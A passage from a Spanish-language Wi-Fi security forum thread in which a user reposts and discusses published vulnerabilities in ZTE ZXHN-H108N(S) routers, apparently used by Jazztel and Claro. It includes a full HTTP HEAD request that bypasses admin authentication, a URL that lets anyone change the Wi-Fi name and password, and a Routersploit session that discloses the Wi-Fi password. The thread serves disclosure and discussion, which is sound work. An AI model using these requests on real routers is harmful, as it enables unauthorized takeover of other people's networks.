Brecha severa en ZTE ZXHN-H108NS ¿Jazztel y Claro afectadas?

kcdtv · 28-11-2022 23:14:49

Brecha severa en ZTE ZXHN-H108N(S)...
¿Jazztel y Claro afectadas?

¡Buenas noches a tod@s!
George Tsimpidas publicó une brecha de seguridad que podría tener repercusiones en España o Mexico.
Podemos atribuirle la mención de "critica" - o por lo menos "severa" - porque permite acceder a la interfaz de configuración y configurar libremente el Punto de Acceso sin tener la contraseña de administrador.
El método http HEAD es el talón de aquilea.
El punto de acceso valida la petición HEAD (a pesar de devolver un error si no me equivoco)
Dejo aquí la fuente y el exploit.

ZTE ZXHN-H108NS Authentication Bypass by George Tsimpidas @ Packet storm

George Tsimpidas escribió:

# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A # Tested on: Debian 5.18.5
Description
When specific http methods are listed within a security constraint, then only those methods are protected.
Router ZTE-H108NS defines the following http methods:
GET,
POST,
HEAD
. HEAD method seems to fall under a flawed operation which allows the HEAD to be implemented correctly with every Response Status Code.
Proof Of Concept
Below request bypasses successfully the Basic Authentication, and grants access to the Administration Panel of the Router.
HEAD /cgi-bin/tools_admin.asp  HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

El modelo afectado es, precisamente, el FTE ZXHN H108NS
Pero no encuentro algo sobre este modelo con un S al final...
Hasta el punto que dudo de su existencia y creo que se trata de un ZTE ZXHN H108N
Lo digo porque al H108N (sin S al final) lo conocemos muy bien: Es uno de los tres modelos de routers jazztel afectados por la brecha "PIN NULL"
Todo sobre la brecha "PIN NULL" contra PA ZTE de Jazztel
Lo emplea también la empresa mexicana Claro

En este caso es la versión 2.5 del dispositivo.
Puede que el S sea una variante para un mercado en concreto, de todo modo hay fuertes probabilidades que la interfaz sea básicamente la misma y que la brecha de seguridad este presente en todas las digresiones del modelo H108N.

kcdtv · 30-11-2022 19:13:38

Buscando un poco más sobre este tema he caído en otra brecha más simple aún: bug in ZTE ZXHN H108N
Abrimos esta dirección en nuestra barra de navegación:

192.168.1.1/wizard_wlan_t.gch

Y podemos modificar el eSSID y la contraseña del wifi.
Para algo menos extremo y simplemente sacar la contraseña y el eSSID existe un exploit ya hecho:
Dejo aquí su guión:

rsf > use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure
rsf (ZTE ZXHN H108N Wifi Password Disclosure) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (ZTE ZXHN H108N Wifi Password Disclosure) > run
[*] Running module exploits/routers/zte/zxhn_h108n_wifi_password_disclosure...
[+] Target is vulnerable
[*] Discovered information:
   Parameter     Value
   ---------     -----
   SSID Name     SSID Name
   Password      Password
```

Es para el framework Routersploit Adding ZTE ZXHN H108N Wifi Password Disclosure module

En la captura de pantalla que reporta la brecha se ve a la versión 2.5 del dispositivo (es decir exactamente el mismo modelo que Claro)

Tema	Respuestas	Vistas	Ultimo mensaje
Problemas drivers con "antena" Melon WiFi N519D AC600 Realtek RTL8811 por elEstudiante	9	323	Ayer 21:19:07 por elEstudiante
Científicos logran ver humanos a través de paredes con routers WiFi por kcdtv	0	125	26-01-2023 19:35:15 por kcdtv
Pegado: Pegado:: AWITAS. Ataque a WPS con rogueAP potegido con WPA por javierbu	24	2197	26-01-2023 19:00:06 por Koala
Probando kea de isc ¿El futuro del servidor DHCP? por kcdtv	2	228	20-01-2023 17:47:01 por kcdtv
ISC DHCP alcanza su "fin de vida" (y nos importa) por kcdtv	3	391	17-01-2023 22:46:55 por kcdtv

Foro Wifi-libre.com

Anuncio

#1 28-11-2022 23:14:49